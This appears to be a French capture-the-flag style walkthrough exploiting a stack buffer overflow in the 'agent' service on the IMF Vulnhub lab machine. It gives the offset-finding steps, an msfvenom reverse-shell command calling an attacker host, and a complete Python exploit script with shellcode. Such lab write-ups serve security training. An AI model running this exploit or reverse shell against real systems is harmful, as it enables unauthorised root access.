Agent Binary

Le Buffer Overflow suivant résulte d'une élévation de privilèges sur la machine IMF de Vullhub. Le binaire vulnérable est un exécutable appelé "agent" sur un système Linux. Voici la procédure complète sur la manière d'exploiter le débordement de tampon :

Exploitation du Buffer Overflow:

Identification du Binaire "agent":

• Utilisation de la commande find pour localiser le binaire nommé "agent" sur la machine cible.

• Le binaire de 32 bits est trouvé avec un fichier texte indiquant son exécution par le root sur le port 7788.

Transfert du Binaire avec Netcat:

Utilisation de Netcat pour transférer le binaire de la machine cible vers l'équipement de l'attaquant.

Analyse du Code avec ghidra :

• Utilisation du logiciel Ghidra pour analyser le code source du binaire.

• Identification de la variable "validcode" contenant le code ID en hexadécimal.

Analyse du Buffer Overflow:

Dans la fonction "report()", repérage d'une vulnérabilité de buffer overflow utilisant la fonction "gets".

Exploitation du Buffer Overflow avec GDB:

• Création d'une chaîne de 200 caractères "A" pour tester le débordement.

python -c 'print("A"*200)'

Observation du remplacement de l'EIP (Instruction Pointer) avec la commande "pattern create 200".

• Identification de l'offset avec la commande "pattern offset $eip".

• Verification avec une insertion d'une chaine EIP de 168 A + 4 caractères B:

python -c 'print("A"*168 + "B"*4)'

• Validation des protections avec la commande "checksec".

Vérification de l'ASLR:

Recherche des adresses statiques du binaire avec la commande "objdump -d agent | grep -i 'FF D0'".

objdump -d agent | grep -i "FF D0"

Création du Shellcode pour la Reverse Shell:

Utilisation de Metasploit pour générer un shellcode pour une reverse shell.

msfvenom -p linux/x86/shell_reverse_tcp LHOST=192.168.71.128 LPORT=443 -b '\x00\x0a\x0d' -f c

Script Python pour l'Exploitation: Écriture d'un script Python pour se connecter au service vulnérable et exploiter le buffer overflow.

#!/usr/bin/python3 

from struct import pack
import socket 

shellcode = (b"\xbf\x11\x58\xbb\xb7\xdb\xd7\xd9\x74\x24\xf4\x58\x31\xc9"
b"\xb1\x12\x31\x78\x12\x83\xc0\x04\x03\x69\x56\x59\x42\xb8"
b"\xbd\x6a\x4e\xe9\x02\xc6\xfb\x0f\x0c\x09\x4b\x69\xc3\x4a"
b"\x3f\x2c\x6b\x75\x8d\x4e\xc2\xf3\xf4\x26\x15\xab\x40\x36"
b"\xfd\xae\x4e\x37\x45\x27\xaf\x87\xdf\x68\x61\xb4\xac\x8a"
b"\x08\xdb\x1e\x0c\x58\x73\xcf\x22\x2e\xeb\x67\x12\xff\x89"
b"\x1e\xe5\x1c\x1f\xb2\x7c\x03\x2f\x3f\xb2\x44")


offset = 168 
payload = shellcode + b"A" * (offset - len(shellcode)) + pack("<I", 0x08048563) + b"\n"

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("127.0.0.1", 7788))
s.recv(1024)
s.send(b"48093572\n")
s.recv(1024)
s.send(b"3\n")
s.recv(1024)
s.send(payload)